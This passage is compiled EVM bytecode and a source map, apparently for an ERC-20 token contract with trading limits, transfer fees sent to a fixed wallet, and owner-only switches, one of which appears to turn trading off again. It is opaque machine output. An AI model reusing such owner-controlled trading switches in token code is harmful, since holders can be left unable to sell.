fffff16610f7f610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614610fd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcc90612dbd565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061106a6110636114c8565b8484611699565b6001905092915050565b600b5481565b60095481565b6110886114c8565b73ffffffffffffffffffffffffffffffffffffffff166110a6610ed4565b73ffffffffffffffffffffffffffffffffffffffff16146110fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f390612dbd565b60405180910390fd5b565b6111066114c8565b73ffffffffffffffffffffffffffffffffffffffff16611124610ed4565b73ffffffffffffffffffffffffffffffffffffffff161461117a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117190612dbd565b60405180910390fd5b6000601360146101000a81548160ff021916908315150217905550565b600f5481565b600d5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60075481565b6112386114c8565b73ffffffffffffffffffffffffffffffffffffffff16611256610ed4565b73ffffffffffffffffffffffffffffffffffffffff16146112ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a390612dbd565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61130f6114c8565b73ffffffffffffffffffffffffffffffffffffffff1661132d610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614611383576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137a90612dbd565b60405180910390fd5b6009600a6113919190612f10565b8261139c9190612f5b565b6016819055506009600a6113b09190612f10565b816113bb9190612f5b565b6015819055505050565b60065481565b6113d36114c8565b73ffffffffffffffffffffffffffffffffffffffff166113f1610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614611447576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143e90612dbd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ad9061335b565b60405180910390fd5b6114bf81611d76565b50565b600a5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361153f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611536906133ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a59061347f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161168c9190612947565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ff90613511565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176e906135a3565b60405180910390fd5b600081116117ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b190613635565b60405180910390fd5b6117c383610d65565b811115611805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fc906136c7565b60405180910390fd5b601360149054906101000a900460ff16806118695750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806118bd5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f390613733565b60405180910390fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611aa057601654811115611a47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3e9061379f565b60405180910390fd5b60155481611a5484610d65565b611a5e9190612fb5565b1115611a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a969061380b565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b4b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba15750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bff57601554611bb283610d65565b82611bbd9190612fb5565b1115611bfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf59061389d565b60405180910390fd5b5b6000611c0a30610d65565b9050601360159054906101000a900460ff16158015611c775750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c8f5750601360169054906101000a900460ff165b8015611c9b5750600081115b15611cc357611ca981611e3a565b60004790506000811115611cc157611cc0476120b3565b5b505b611d70848484600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d6a5750600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561211f565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e7257611e71612a88565b5b604051908082528060200260200182016040528015611ea05781602001602082028036833780820191505090505b5090503081600081518110611eb857611eb76138bd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f839190613901565b81600181518110611f9757611f966138bd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ffe30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114d0565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612062959493929190613a27565b600060405180830381600087803b15801561207c57600080fd5b505af1158015612090573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561211b573d6000803e3d6000fd5b5050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461216e9190612d3d565b92505081905550600081612182578261218e565b61218d858585612252565b5b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121df9190612fb5565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122439190612947565b60405180910390a35050505050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122b357506000600954115b1561235657601160009054906101000a900461ffff1661ffff16600654836122db9190612f5b565b6122e59190613ab0565b600e81905550601160009054906101000a900461ffff1661ffff166007548361230e9190612f5b565b6123189190613ab0565b600f81905550601160009054906101000a900461ffff1661ffff16600854836123419190612f5b565b61234b9190613ab0565b601081905550612455565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123b557506000600d54115b1561245457601160009054906101000a900461ffff1661ffff16600a54836123dd9190612f5b565b6123e79190613ab0565b600e81905550601160009054906101000a900461ffff1661ffff16600b54836124109190612f5b565b61241a9190613ab0565b600f81905550601160009054906101000a900461ffff1661ffff16600c54836124439190612f5b565b61244d9190613ab0565b6010819055505b5b600e5460016000601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124c89190612fb5565b92505081905550601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e546040516125509190612947565b60405180910390a3600f546001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125ab9190612fb5565b92505081905550600f546014546125c29190612d3d565b6014819055506125d0610932565b60148190555061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f546040516126379190612947565b60405180910390a3601054600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126909190612fb5565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6010546040516126f69190612947565b60405180910390a36000601054600f54600e546127139190612fb5565b61271d9190612fb5565b9050808361272b9190612d3d565b9150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061276082612735565b9050919050565b61277081612755565b82525050565b600060208201905061278b6000830184612767565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156127cb5780820151818401526020810190506127b0565b838111156127da576000848401525b50505050565b6000601f19601f8301169050919050565b60006127fc82612791565b612806818561279c565b93506128168185602086016127ad565b61281f816127e0565b840191505092915050565b6000602082019050818103600083015261284481846127f1565b905092915050565b6000604051905090565b600080fd5b600080fd5b61286981612755565b811461287457600080fd5b50565b60008135905061288681612860565b92915050565b6000819050919050565b61289f8161288c565b81146128aa57600080fd5b50565b6000813590506128bc81612896565b92915050565b600080604083850312156128d9576128d8612856565b5b60006128e785828601612877565b92505060206128f8858286016128ad565b9150509250929050565b60008115159050919050565b61291781612902565b82525050565b6000602082019050612932600083018461290e565b92915050565b6129418161288c565b82525050565b600060208201905061295c6000830184612938565b92915050565b600061ffff82169050919050565b61297981612962565b82525050565b60006020820190506129946000830184612970565b92915050565b6000806000606084860312156129b3576129b2612856565b5b60006129c186828701612877565b93505060206129d286828701612877565b92505060406129e3868287016128ad565b9150509250925092565b600060ff82169050919050565b612a03816129ed565b82525050565b6000602082019050612a1e60008301846129fa565b92915050565b600060208284031215612a3a57612a39612856565b5b6000612a4884828501612877565b91505092915050565b600060208284031215612a6757612a66612856565b5b6000612a75848285016128ad565b91505092915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612ac0826127e0565b810181811067ffffffffffffffff82111715612adf57612ade612a88565b5b80604052505050565b6000612af261284c565b9050612afe8282612ab7565b919050565b600067ffffffffffffffff821115612b1e57612b1d612a88565b5b612b27826127e0565b9050602081019050919050565b82818337600083830152505050565b6000612b56612b5184612b03565b612ae8565b905082815260208101848484011115612b7257612b71612a83565b5b612b7d848285612b34565b509392505050565b600082601f830112612b9a57612b99612a7e565b5b8135612baa848260208601612b43565b91505092915050565b600060208284031215612bc957612bc8612856565b5b600082013567ffffffffffffffff811115612be757612be661285b565b5b612bf384828501612b85565b91505092915050565b60008060408385031215612c1357612c12612856565b5b6000612c2185828601612877565b9250506020612c3285828601612877565b9150509250929050565b60008060408385031215612c5357612c52612856565b5b6000612c61858286016128ad565b9250506020612c72858286016128ad565b9150509250929050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612cd860288361279c565b9150612ce382612c7c565b604082019050919050565b60006020820190508181036000830152612d0781612ccb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d488261288c565b9150612d538361288c565b925082821015612d6657612d65612d0e565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612da760208361279c565b9150612db282612d71565b602082019050919050565b60006020820190508181036000830152612dd681612d9a565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115612e3457808604811115612e1057612e0f612d0e565b5b6001851615612e1f5780820291505b8081029050612e2d85612ddd565b9450612df4565b94509492505050565b600082612e4d5760019050612f09565b81612e5b5760009050612f09565b8160018114612e715760028114612e7b57612eaa565b6001915050612f09565b60ff841115612e8d57612e8c612d0e565b5b8360020a915084821115612ea457612ea3612d0e565b5b50612f09565b5060208310610133831016604e8410600b8410161715612edf5782820a905083811115612eda57612ed9612d0e565b5b612f09565b612eec8484846001612dea565b92509050818404811115612f0357612f02612d0e565b5b81810290505b9392505050565b6000612f1b8261288c565b9150612f26836129ed565b9250612f537fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612e3d565b905092915050565b6000612f668261288c565b9150612f718361288c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612faa57612fa9612d0e565b5b828202905092915050565b6000612fc08261288c565b9150612fcb8361288c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561300057612fff612d0e565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061305257607f821691505b6020821081036130655761306461300b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026130cd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82613090565b6130d78683613090565b95508019841693508086168417925050509392505050565b6000819050919050565b600061311461310f61310a8461288c565b6130ef565b61288c565b9050919050565b6000819050919050565b61312e836130f9565b61314261313a8261311b565b84845461309d565b825550505050565b600090565b61315761314a565b613162818484613125565b505050565b5b818110156131865761317b60008261314f565b600181019050613168565b5050565b601f8211156131cb5761319c8161306b565b6131a584613080565b810160208510156131b4578190505b6131c86131c085613080565b830182613167565b50505b505050565b600082821c905092915050565b60006131ee600019846008026131d0565b1980831691505092915050565b600061320783836131dd565b9150826002028217905092915050565b61322082612791565b67ffffffffffffffff81111561323957613238612a88565b5b613243825461303a565b61324e82828561318a565b600060209050601f831160018114613281576000841561326f578287015190505b61327985826131fb565b8655506132e1565b601f19841661328f8661306b565b60005b828110156132b757848901518255600182019150602085019450602081019050613292565b868310156132d457848901516132d0601f8916826131dd565b8355505b6001600288020188555050505b505050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061334560268361279c565b9150613350826132e9565b604082019050919050565b6000602082019050818103600083015261337481613338565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006133d760248361279c565b91506133e28261337b565b604082019050919050565b60006020820190508181036000830152613406816133ca565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061346960228361279c565b91506134748261340d565b604082019050919050565b600060208201905081810360008301526134988161345c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006134fb60258361279c565b91506135068261349f565b604082019050919050565b6000602082019050818103600083015261352a816134ee565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061358d60238361279c565b915061359882613531565b604082019050919050565b600060208201905081810360008301526135bc81613580565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061361f60298361279c565b915061362a826135c3565b604082019050919050565b6000602082019050818103600083015261364e81613612565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b60006136b160318361279c565b91506136bc82613655565b604082019050919050565b600060208201905081810360008301526136e0816136a4565b9050919050565b7f54726164696e67206e6f7420656e61626c656420796574000000000000000000600082015250565b600061371d60178361279c565b9150613728826136e7565b602082019050919050565b6000602082019050818103600083015261374c81613710565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b600061378960198361279c565b915061379482613753565b602082019050919050565b600060208201905081810360008301526137b88161377c565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006137f5601a8361279c565b9150613800826137bf565b602082019050919050565b60006020820190508181036000830152613824816137e8565b9050919050565b7f526563697069656e742065786365656473206d61782077616c6c65742073697a60008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b600061388760228361279c565b91506138928261382b565b604082019050919050565b600060208201905081810360008301526138b68161387a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506138fb81612860565b92915050565b60006020828403121561391757613916612856565b5b6000613925848285016138ec565b91505092915050565b6000819050919050565b600061395361394e6139498461392e565b6130ef565b61288c565b9050919050565b61396381613938565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61399e81612755565b82525050565b60006139b08383613995565b60208301905092915050565b6000602082019050919050565b60006139d482613969565b6139de8185613974565b93506139e983613985565b8060005b83811015613a1a578151613a0188826139a4565b9750613a0c836139bc565b9250506001810190506139ed565b5085935050505092915050565b600060a082019050613a3c6000830188612938565b613a49602083018761395a565b8181036040830152613a5b81866139c9565b9050613a6a6060830185612767565b613a776080830184612938565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613abb8261288c565b9150613ac68361288c565b925082613ad657613ad5613a81565b5b82820490509291505056fea264697066735822122028e7b9ed69198c7b67962867c8e786ebb01bbe57eaab1acafc5eda8ecf735bc664736f6c634300080f0033
Deployed Bytecode Sourcemap
7825:9713:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8820:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10668:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11541:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10822:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11060:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8777:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8737:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11685:416;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10985:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16473:121;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16725:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17085:227;;;;;;;;;;;;;:::i;:::-;;16243:109;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11147:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6513:89;;;;;;;;;;;;;:::i;:::-;;8320:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8420:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10743:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6318:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8570:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10906:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8652:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17459:76;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16600:120;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8900:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11256:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8535:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8461:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13979:56;;;;;;;;;;;;;:::i;:::-;;14041:83;;;;;;;;;;;;;:::i;:::-;;8696:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8611:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11406:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8386:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16358:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16864:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8347:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6604:190;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8495:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8820:73;8851:42;8820:73;:::o;10668:69::-;10705:13;10729:5;;;;;;;;;;;;;;;;;10722:12;;10668:69;:::o;11541:138::-;11616:4;11624:39;11633:12;:10;:12::i;:::-;11647:7;11656:6;11624:8;:39::i;:::-;11672:4;11665:11;;11541:138;;;;:::o;10822:78::-;10866:7;10883:15;;10876:22;;10822:78;:::o;11060:81::-;11113:7;11131;;11124:14;;11060:81;:::o;8777:36::-;;;;;;;;;;;;;:::o;8737:33::-;;;;:::o;11685:416::-;11791:4;11808:36;11818:6;11826:9;11837:6;11808:9;:36::i;:::-;11855:24;11882:11;:19;11894:6;11882:19;;;;;;;;;;;;;;;:33;11902:12;:10;:12::i;:::-;11882:33;;;;;;;;;;;;;;;;11855:60;;11954:6;11934:16;:26;;11926:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;12016:57;12025:6;12033:12;:10;:12::i;:::-;12066:6;12047:16;:25;;;;:::i;:::-;12016:8;:57::i;:::-;12091:4;12084:11;;;11685:416;;;;;:::o;10985:69::-;11026:5;8312:1;11035:16;;10985:69;:::o;16473:121::-;6446:12;:10;:12::i;:::-;6435:23;;:7;:5;:7::i;:::-;:23;;;6427:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16587:4:::1;16547:28;:37;16576:7;16547:37;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;16473:121:::0;:::o;16725:133::-;6446:12;:10;:12::i;:::-;6435:23;;:7;:5;:7::i;:::-;:23;;;6427:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8312:1:::1;16838:2;:14;;;;:::i;:::-;16821;:31;;;;:::i;:::-;16803:15;:49;;;;16725:133:::0;:::o;17085:227::-;6446:12;:10;:12::i;:::-;6435:23;;:7;:5;:7::i;:::-;:23;;;6427:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17173:1:::1;17154:16;:20;;;;17199:1;17185:11;:15;;;;17230:1;17211:16;:20;;;;17290:16;;17276:11;;17257:16;;:30;;;;:::i;:::-;:49;;;;:::i;:::-;17241:13;:65;;;;17085:227::o:0;16243:109::-;6446:12;:10;:12::i;:::-;6435:23;;:7;:5;:7::i;:::-;:23;;;6427:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16342:4:::1;16312:18;:27;16331:7;16312:27;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;16243:109:::0;:::o;11147:103::-;11213:7;11231;:16;11239:7;11231:16;;;;;;;;;;;;;;;;11224:23;;11147:103;;;:::o;6513:89::-;6446:12;:10;:12::i;:::-;6435:23;;:7;:5;:7::i;:::-;:23;;;6427:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6576:21:::1;6594:1;6576:9;:21::i;:::-;6513:89::o:0;8320:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8420:34::-;;;;:::o;10743:73::-;10786:7;10803:11;;10796:18;;10743:73;:::o;6318:71::-;6364:7;6381:6;;;;;;;;;;;6374:13;;6318:71;:::o;8570:34::-;;;;:::o;10906:73::-;10945:13;10969:7;;;;;;;;;;;;;;;;;10962:14;;10906:73;:::o;8652:37::-;;;;:::o;17459:76::-;17520:7;17513:4;:14;;;;;;:::i;:::-;;17459:76;:::o;16600:120::-;6446:12;:10;:12::i;:::-;6435:23;;:7;:5;:7::i;:::-;:23;;;6427:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16712:5:::1;16672:28;:37;16701:7;16672:37;;;;;;;;;;;;;;;;:45;;;;;;;;;;;;;;;;;;16600:120:::0;:::o;8900:26::-;;;;;;;;;;;;;:::o;11256:144::-;11334:4;11342:42;11352:12;:10;:12::i;:::-;11366:9;11377:6;11342:9;:42::i;:::-;11393:4;11386:11;;11256:144;;;;:::o;8535:28::-;;;;:::o;8461:27::-;;;;:::o;13979:56::-;6446:12;:10;:12::i;:::-;6435:23;;:7;:5;:7::i;:::-;:23;;;6427:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13979:56::o;14041:83::-;6446:12;:10;:12::i;:::-;6435:23;;:7;:5;:7::i;:::-;:23;;;6427:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14112:5:::1;14098:11;;:19;;;;;;;;;;;;;;;;;;14041:83::o:0;8696:32::-;;;;:::o;8611:28::-;;;;:::o;11406:129::-;11487:7;11505:11;:18;11517:5;11505:18;;;;;;;;;;;;;;;:27;11524:7;11505:27;;;;;;;;;;;;;;;;11498:34;;11406:129;;;;:::o;8386:27::-;;;;:::o;16358:108::-;6446:12;:10;:12::i;:::-;6435:23;;:7;:5;:7::i;:::-;:23;;;6427:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16455:5:::1;16425:18;:27;16444:7;16425:27;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;16358:108:::0;:::o;16864:215::-;6446:12;:10;:12::i;:::-;6435:23;;:7;:5;:7::i;:::-;:23;;;6427:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8312:1:::1;16999:2;:14;;;;:::i;:::-;16984:12;:29;;;;:::i;:::-;16970:11;:43;;;;8312:1;17059:2;:14;;;;:::i;:::-;17042;:31;;;;:::i;:::-;17024:15;:49;;;;16864:215:::0;;:::o;8347:32::-;;;;:::o;6604:190::-;6446:12;:10;:12::i;:::-;6435:23;;:7;:5;:7::i;:::-;:23;;;6427:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6713:1:::1;6693:22;;:8;:22;;::::0;6685:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6769:19;6779:8;6769:9;:19::i;:::-;6604:190:::0;::